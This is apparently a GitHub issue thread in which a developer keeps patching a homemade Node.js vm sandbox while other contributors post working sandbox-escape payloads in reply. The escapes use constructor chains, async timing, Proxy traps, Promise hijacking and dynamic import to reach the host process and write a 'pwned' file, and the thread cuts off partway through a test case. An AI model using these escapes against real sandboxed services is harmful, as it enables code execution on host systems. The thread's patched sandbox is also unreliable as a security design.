Closed j4k0xb closed 6 months ago
@j4k0xb I've thought you are the mgr of vm2. Sorry. Good to see the game continue
fixing it, come back to you soon
ANYWAY, trying to find and fix problem is NEVER annoying.
Promise and Symbol is not needed inside sandbox, so a change to js is patched.
hope you still have interest to crack it @j4k0xb
process.on('unhandledRejection', (reason, promise) => {
console.error('WARNING unhandledRejection', promise, 'reason:', reason);
});
var jevalx = async(js,ctx,timeout=60000,More=['process','Promise','Symbol','Error','eval','require'],vm=require('node:vm'))=>{
let Wtf={};
const PromiseWtf = Promise;
const processWtf = process;
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
let rst;
let err;
try{
rst = await vm.createScript('delete Promise;delete Symbol;'+js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})}
catch(ex){ err=ex; }
finally{
return new PromiseWtf((r,j)=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
globalThis['process'] = processWtf;
globalThis['Promise'] = PromiseWtf;
if (err) j(err); else r(rst)
});
}
};
//test a:
(async()=>{
let code = `void (async() => {
await Promise.resolve();
await Promise.resolve();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwneda", "");
})()`;
try{
console.log('AAAA result',await jevalx(code));
}catch(ex){
console.log('AAAA ex',ex);
}
console.log('AAAA confirm process is still here',typeof(process));
})().then(async()=>{ //test b:
var code=`
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwnedb", "");
},
}
`;
try{
console.log('BBBBB result',await jevalx(code));
}catch(ex){
console.log('BBBB ex',''+ex);
}
console.log('BBBB confirm process is still here',typeof(process),typeof globalThis['process']);
})
async function f() {}
void (async () => {
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned", "");
})();
const Symbol = Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned", "");
},
};
all set @j4k0xb
process.on('unhandledRejection', (reason, promise) => {
console.error('WARNING unhandledRejection', promise, 'reason:', reason);
//TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
console.error('Uncaught exception:', error);
});
var jevalx_ = async(js,ctx,timeout=60000,More=['process','Error','eval','require'],vm=require('node:vm'))=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
let rst;
let err;
try{
rst = await vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
}catch(ex){ console.log('jevalx_',ex); err = ''+ex }//TODO LOGGING
for(var k in Wtf){globalThis[k]=Wtf[k]};
if (err) throw err;
return rst;
};
var jevalx = async(js,ctx,timeout=60000)=>{
const processWtf = process;process=undefined;
const setTimeoutWtf = setTimeout;
let rst;
let err;
try{ rst = await jevalx_(js,ctx,timeout);}
catch(ex){//TODO LOGGING
console.log('jevalx.ex',ex);
err = ''+ex;
}
//finally{ process = processWtf; }
return new Promise((r,j)=>{
//delay, or using nextTick, anyway
setTimeoutWtf(()=>{ process = processWtf; if (err) j(err); else r(rst); },1);
});
};
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{ //test a:
let code = `async function f() {}
void (async () => {
await f();
await f();
//even more:
//await f();
//await f();
//await f();
//await f();
//await f();
//await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwneda", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{ //test b:
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwnedb", "");
},
}
`;
try{
console.log('BBBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
console.log('--------- TEST END -----------');
});
The vulnerable part is the "process" in the global.
Once we hide it before sandbox and restore afterwards, then we still hold the flag.
Unless the prisoner can find a new way to delay the pawn, we can checkmate with our sword "setTimeout 1" at the end.
Still waiting challenge (codes will be clearned up later...)
removing globals introduced yet another vulnerability 😉
Object.defineProperty(
this.constructor.constructor("return this")(),
"process",
{
set(process) {
process.mainModule.require("fs").writeFileSync("pwned", "");
},
}
);
great! reply you later
removing globals introduced yet another vulnerability 😉
Object.defineProperty( this.constructor.constructor("return this")(), "process", { set(process) { process.mainModule.require("fs").writeFileSync("pwned", ""); }, } );
It tested ok if add 'Object' in the More to removed in sandbox. But this is not a good solution, I'll try to investigate more tomorrow
Can also get Object
from ({}).constructor
I hope I am still allowed to post my attack too.
const code = "import('fs').then(m=>m.writeFileSync('pwned', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj
and a simplified version:
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")};
all your cases is done. @XmiliaH @j4k0xb
the Sandbox still stand... keep going!
process.on('unhandledRejection', (reason, promise) => {
console.log('WARNING',reason)
//console.error('WARNING unhandledRejection', promise, 'reason:', reason);
//TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
console.log('Uncaught exception:', error);
});
const setTimeoutWtf = setTimeout;
const globalWTf = global;
const globalThisWTf = globalThis;
const processWtf = process;
const ObjectWtf= Object;
var jevalx_ = async(js,ctx,timeout=60000,vm=require('node:vm'))=>{
let rst;
let err;
try{
rst = vm.createScript(js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
if(rst && rst.then){ //inspired by @XmiliaH: .then is vulnerable
console.log('wowh rst.then',rst.then)
delete rst.then
}
if (typeof(rst)=='Promise') rst = await rst;
}catch(ex){ err = ex}
if (err) throw err;
return rst;
};
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'])=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
try{Object.defineProperty(globalThis,'process',{get(k){return this._process},set(o){this._process=o}})}catch(ex){}
let rst;
let err;
try{ rst = await jevalx_(js,ctx,timeout); }
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
return new Promise((r,j)=>{
setTimeoutWtf(()=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
process = processWtf;
if (err) j(err); else r(rst);
},1);
});
};
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
//console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log('--------- TEST END -----------');
});
almost same as before
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process",
{
set(process) {
process.mainModule.require("fs").writeFileSync("pwned", "");
},
}
);
new way:
new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned", "");
},
}),
});
@j4k0xb
both new cases are good inspiration, it do take me some time to write the test code, and they are fixed now!
thank you very much for the kind patience!!
process.on('unhandledRejection', (reason, promise) => {
console.log('WARNING',reason)
//console.error('WARNING unhandledRejection', promise, 'reason:', reason);
//TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
console.log('Uncaught exception:', error);
});
const setTimeoutWtf = setTimeout;
const processWtf = process;
const globalThisWtf = globalThis;
//const globalWtf = global;
const ProxyWTf=Proxy;
var jevalx_ = async(js,ctx,timeout=60000,vm=require('node:vm'))=>{
let rst;
let err;
try{
rst = vm.createScript('delete Proxy;'//NOTES: works, but need to find more if any "Proxy" cases..
+js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
//console.log('tmp rst',typeof(rst))
if(rst==globalThisWtf) rst = {message:'MaybeEvil',js};
if(rst && rst.then){ //inspired by @XmiliaH: .then is vulnerable
delete rst.then
}
if (typeof(rst)=='Promise') rst = await rst;
}catch(ex){ err = ex }
if (err) throw err;
return rst;
};
var jevalx = async(js,ctx,timeout=60000,More=['Proxy','process','eval','require'])=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
let the_process;
try{Object.defineProperty(globalThis,'process',{get(k){
//console.log('get process',typeof the_process);
return the_process},set(o){//console.log( 'set process',typeof o);
the_process=o}})}catch(ex){}
//globalThis.process=undefined;
process=undefined;
Proxy=undefined;
let rst;
let err;
try{ rst = await jevalx_(js,ctx,timeout); }
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
return new Promise((r,j)=>{
setTimeoutWtf(()=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
process = processWtf;
Proxy = ProxyWTf;
if (err) j(err); else r(rst);
},1);
});
};
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
}
)
`;
try{
console.log('FFFF result=',await jevalx(code));
}catch(ex){
console.log('FFFF ex=',typeof ex,ex);
}
console.log('FFFF check=',typeof(process),typeof(Promise));
}).then(async()=>{
//var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
var code=`
new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned_case_g", "");
},
}),
});`
try{
console.log('GGGG result=',await jevalx(code));
}catch(ex){
console.log('GGGG ex=',typeof ex,ex);
}
console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
//console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log('--------- TEST END -----------');
});
while waiting for new challenge, I made a cleanup.
process.on('unhandledRejection', (reason, promise) => {
console.log('WARNING',reason)
//console.error('WARNING unhandledRejection', promise, 'reason:', reason);
//TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
console.log('Uncaught exception:', error);
});
const setTimeoutWtf = setTimeout;
const processWtf = process;
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
let the_process;
try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
process=undefined;
let rst;
let err;
try{
rst = vm.createScript('delete Proxy;'//NOTES: works, but maybe need to find more if any "Proxy" cases?
+js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
if(rst==globalThis) rst = {message:'MaybeEvil',js};
//inspired by @XmiliaH: .then is vulnerable:
if(rst && rst.then){ delete rst.then }
if (typeof(rst)=='Promise') rst = await rst;
}
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
return new Promise((r,j)=>{
setTimeoutWtf(()=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
process=processWtf;
if (err) j(err); else r(rst);
},1);
});
};
test
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
}
)
`;
try{
console.log('FFFF result=',await jevalx(code));
}catch(ex){
console.log('FFFF ex=',typeof ex,ex);
}
console.log('FFFF check=',typeof(process),typeof(Promise));
}).then(async()=>{
//var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
//var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
var code=`
new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned_case_g", "");
},
}),
});`
try{
console.log('GGGG result=',await jevalx(code));
}catch(ex){
console.log('GGGG ex=',typeof ex,ex);
}
console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
//console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log('--------- TEST END -----------');
});
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
return new Promise(executor).then(() => {
hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
});
};
done! case H is added for your case. @j4k0xb
in the mean time, I'am trying to find the case that using Symbol to reflect sort of Promise/Proxy...
const processWtf = process;
const PromiseWtf = Promise;
process.on('unhandledRejection', (reason, promise) => {
console.log('WARNING',reason)
//console.error('WARNING unhandledRejection', promise, 'reason:', reason);
//TODO jot down the possible hacker even we've done
});
process.on('uncaughtException', (error) => {
console.log('Uncaught exception:', error);
});
const setTimeoutWtf = setTimeout;
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
let the_process;
try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
delete Promise;
let rst;
let err;
try{
rst = vm.createScript('delete Promise;delete Error;delete Proxy;'+//NOTES: works until any spoil case.
js).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
if(rst==globalThis) rst = {message:'MaybeEvil',js};
//inspired by @XmiliaH: .then is vulnerable:
if(rst && rst.then){ delete rst.then }
let typeof_rst = typeof(rst);
if ('function'==typeof_rst){ rst = rst() }
if (rst instanceof PromiseWtf) rst = await rst;
}
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'SandboxEvil',js} }
return new PromiseWtf((r,j)=>{
setTimeoutWtf(()=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
Promise = PromiseWtf;
if (err) j(err); else r(rst);
},1);
});
};
TEST
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
}
)
`;
try{
console.log('FFFF result=',await jevalx(code));
}catch(ex){
console.log('FFFF ex=',typeof ex,ex);
}
console.log('FFFF check=',typeof(process),typeof(Promise));
}).then(async()=>{
//var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
//var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
var code=`
new Proxy((_) => _, {
get: new Proxy((_) => _, {
apply: function (target, thisArg, args) {
args.constructor
.constructor("return process")()
?.mainModule.require("fs")
.writeFileSync("pwned_case_g", "");
},
}),
});`
try{
console.log('GGGG result=',await jevalx(code));
}catch(ex){
console.log('GGGG ex=',typeof ex,ex);
}
console.log('GGGG check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const hostGlobal = this.constructor.constructor("return this")();
hostGlobal.Promise = function (executor) {
return new Promise(executor).then(() => {
hostGlobal.process.mainModule.require("fs").writeFileSync("pwned", "");
});
}
`
try{
console.log('HHHH result=',await jevalx(code));
}catch(ex){
console.log('HHHH ex=',typeof ex,ex);
}
console.log('HHHH check=',typeof(process),typeof(Promise));
}).then(async()=>{
//basic normal case:
console.log('expected x**y==8',await jevalx('x**y',{x:2,y:3}));
console.log('expected x**y==81',await jevalx('(async()=>x**y)()',{x:3,y:4}));
//console.log('check .process',await jevalx('this.constructor.constructor("return this")().process'));
//console.log('check process',await jevalx('this.constructor.constructor("return typeof(process)")()'));
//console.log('check "this"',await jevalx('[this,2**3]'));
console.log('ZZZ final check=',typeof(process),typeof(Promise));
console.log(Promise);
console.log('--------- TEST END -----------');
});
const promise = import('').catch(_=>_);
const oldThen = promise.__proto__.then;
const global = oldThen.constructor('return this')();
promise.__proto__.then = function() {
if (global.process) {
global.process.mainModule.require("fs").writeFileSync("pwned", "");
promise.__proto__.then = oldThen;
}
return oldThen.apply(this, arguments);
};
1
and
eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")
@XmiliaH thank you very much!
Now ok by banning the the import(), eval() and restore of Promise.prototype.then
kinda dirty, but still stand! Plz see test cases IIII and JJJJ below...
const setTimeoutWtf=setTimeout,processWtf=typeof(process)=='undefined'?undefined:process,PromiseWtf=Promise,ProxyWtf=Proxy,ErrorWtf=Error;
const PromiseWtf_prototype_then = PromiseWtf.prototype.then;//
var jevalx = async(js,ctx,timeout=60000,More=['process','eval','require'],vm=require('node:vm'))=>{
let Wtf={};
for(let k of[...Object.keys(globalThis),...More]){Wtf[k]=globalThis[k];delete globalThis[k]}
//inspired by @j4k0xb, we set the mine before the enenies:
let the_process;
try{Object.defineProperty(globalThis,'process',{get(k){ return the_process},set(o){ the_process=o}})}catch(ex){}
delete Promise;delete Error;delete Proxy;delete process;
let rst,err,evil=false;
try{
rst = await new PromiseWtf(async(r,j)=>{
try{
rst = vm.createScript('delete eval;delete Promise;delete Error;delete Proxy;'+//NOTES: works until new spoil case.
js,{importModuleDynamically(specifier, referrer, importAttributes){evil=true;globalThis['process'] = undefined}
}).runInContext(vm.createContext(ctx||{}),{breakOnSigint:true,timeout})
if (evil){ return j({message:'EvilImport',js}) }
if(rst==globalThis) rst = {message:'EvilGlobal',js};
let typeof_rst = typeof(rst);
if ('function'==typeof_rst){ rst = rst() }
//inspired by @XmiliaH: .then is vulnerable:
if(rst && rst.then){ delete rst.then }
if (rst instanceof PromiseWtf) rst = await rst;
}
catch(ex){ err = ex&&ex.message ? {message:ex.message} : {message:'EvilSandbox',js} }
if (err) j(err); else r(rst);
})
}catch(ex){ err = ex }
return new PromiseWtf(async(r,j)=>setTimeoutWtf(()=>{
for(var k in Wtf){globalThis[k]=Wtf[k]};
Promise=PromiseWtf;Error=ErrorWtf;Proxy=ProxyWtf;
Promise.prototype.then = PromiseWtf_prototype_then;//dirty patch. find better way later.
if (err) j(err); else r(rst);
},1));
};
TEST
(async()=>{
console.log('--------- TEST START -----------');
})().then(async()=>{
let code = `async function f() {}
void (async () => {
await f();
await f();
await f();
await f();
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_a", "");
})();`;
try{
console.log('AAAA result=',await jevalx(code));
}catch(ex){
console.log('AAAA ex=',ex);
}
console.log('AAAA check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const Symbol= Object.getOwnPropertySymbols(Array)[0].constructor;
const customInspectSymbol = Symbol.for({
toString: () => "nodejs.util.inspect.custom",
});
throw {
[customInspectSymbol]: () => {
this.constructor
.constructor("return process")()
.mainModule.require("fs")
.writeFileSync("pwned_case_b", "");
},
}
`;
try{
console.log('BBBB result=',await jevalx(code));
}catch(ex){
console.log('BBBB ex=',typeof ex,ex);
}
console.log('BBBB check=',typeof(process),typeof(Promise));
}).then(async()=>{
//return;//tmp skip
var code=`
Object.defineProperty(this.constructor.constructor("return this")(),"process",{set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_c", ""+(typeof this)+this)}})
`
try{
console.log('CCCC result=',await jevalx(code));
}catch(ex){
console.log('CCCC ex=',typeof ex,ex);
}
console.log('CCCC check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
throw {toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned_case_d', ''))")};
`
try{
console.log('DDDD result=',await jevalx(code));
}catch(ex){
console.log('DDDD ex=',typeof ex,ex);
}
console.log('DDDD check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
const code = "import('fs').then(m=>m.writeFileSync('pwned_case_e', '')).then(o, r)";
const funcCtor = import('').catch(_=>_).constructor.constructor;
const func = funcCtor.bind(null, 'o', 'r', code);
const obj = {};
obj.__defineGetter__("then", func);
//void(async()=>{await obj})();//wont work too
obj
`
try{
console.log('EEEE result=',await jevalx(code));
}catch(ex){
console.log('EEEE ex=',typeof ex,ex);
}
console.log('EEEE check=',typeof(process),typeof(Promise));
}).then(async()=>{
var code=`
({}).constructor.defineProperty(
this.constructor.constructor("return this")(),
"_process_or_any",{ set(process) { process.mainModule.require("fs").writeFileSync("pwned_case_f", ""); },
}
)
`;
try{
console.log('FFFF result=',await jevalx(code));
}catch(ex){
console.log('FFFF ex=',typeof ex,ex);
}
console.log('FFFF check=',typeof(process),typeof(Promise));
}).then(async()=>{
//var code=`[].constructor.constructor("return Proxy")()`;//anywhere the Proxy?
//var code=`let global_ = ({}).constructor.constructor("return this")();global_.Proxy`;
var code=`
